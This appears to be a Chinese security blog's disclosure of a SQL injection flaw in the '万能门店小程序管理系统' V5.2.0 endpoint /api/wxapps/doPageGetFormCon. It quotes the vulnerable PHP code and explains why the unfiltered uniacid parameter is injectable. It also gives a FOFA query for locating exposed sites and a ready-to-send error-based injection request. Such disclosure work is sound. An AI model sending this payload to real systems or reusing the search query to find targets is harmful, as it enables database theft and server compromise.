万能门店小程序管理系统 /api/wxapps/doPageGetFormCon SQL 注入漏洞


漏洞简介

万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/doPageGetFormCon 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。

影响版本

万能门店小程序全开源独立版V5.2.0

fofa语法

body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")

漏洞分析

application/api/controller/Wxapps.php

public function doPageGetFormCon()
    {
        $uniacid = input('uniacid');
        $id = intval(input('id'));
        $prefix = config('database.prefix');
        $item = Db::query("SELECT a.*,b.formname as title FROM {$prefix}wd_xcx_formcon as a LEFT JOIN {$prefix}wd_xcx_formlist as b on a.fid = b.id WHERE a.id = {$id} and a.uniacid={$uniacid}");
        if ($item) {
            $item = $item[0];
            $title = Db::query("SELECT * FROM {$prefix}wd_xcx_products WHERE id = {$item['cid']} and uniacid = {$uniacid}");
            if ($title) {
                $title = $title[0];
                $item['title'] = $title['title'];
                $item['formtitle'] = Db::name('wd_xcx_formlist')->where("uniacid", $uniacid)->where("id", $title['formset'])->value("formname");
                $item['formtitle'] = "文章-" . $title['title'] . "-" . $item['formtitle'];
            } else {
                $item['formtitle'] = Db::name('wd_xcx_formlist')->where("uniacid", $uniacid)->where("id", $item['fid'])->value("formname");
                $item['formtitle'] = "DIY-" . $item['formtitle'];
            }
            $itemval = unserialize($item['val']);
            foreach ($itemval as $key => &$res) {
                if (isset($res['z_val']) && $res['z_val']) {
                    foreach ($res['z_val'] as $k => &$rek) {
                        $rek = remote($uniacid, $rek, 1);
                    }
                }
            }
            $item['val'] = $itemval;
            $item['creattime'] = date("Y-m-d H:i:s", $item['creattime']);
            if ($item['vtime']) {
                $item['vtime'] = date("Y-m-d H:i:s", $item['vtime']);
            }
        }
        $result['data'] = $item;
        return json_encode($result);
    }

$id虽然也是拼接进SQL语句,但是有 intval() 强制转换。
在 PHP 中,intval() 函数用于将变量的值转换为整数类型(integer)。它会解析字符串、浮点数或其他数据类型并返回其整数值。

intval() 函数主要特点:

  1. 数据类型转换:将传入的值转换为整数类型。
  2. 字符串解析:会根据字符串的内容提取整数部分。例如,intval("123abc") 会返回 123。
  3. 支持进制转换:可以通过第二个参数指定进制(如二进制、八进制、十六进制等)。

语法:

intval(mixed $value, int $base = 10): int
  • $value:需要转换的值。
  • $base:可选,表示进制,默认为 10(十进制)。

示例:

echo intval("123");         // 输出: 123
echo intval("123abc");      // 输出: 123
echo intval("abc123");      // 输出: 0
echo intval(12.34);         // 输出: 12
echo intval("0b1010", 2);   // 输出: 10(二进制转换为十进制)

注意:

  • 如果无法转换为整数(如纯字母字符串),则返回 0。
  • 对于布尔值,true 转换为 1,false 转换为 0。

intval() 是一个常用的函数,适合在需要确保变量为整数时使用。

而$uniacid 无任何处理或过滤就直接拼接进SQL语句中,造成SQL注入漏洞。

漏洞复现

POST /api/wxapps/doPageGetFormCon HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

id=1&uniacid=1+AND GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23


手机扫码阅读

禅道开源版21.4最新版 search 模块的 words sql注入漏洞

用友NC oauidesigner/getMdPropertyJson sql注入漏洞

评 论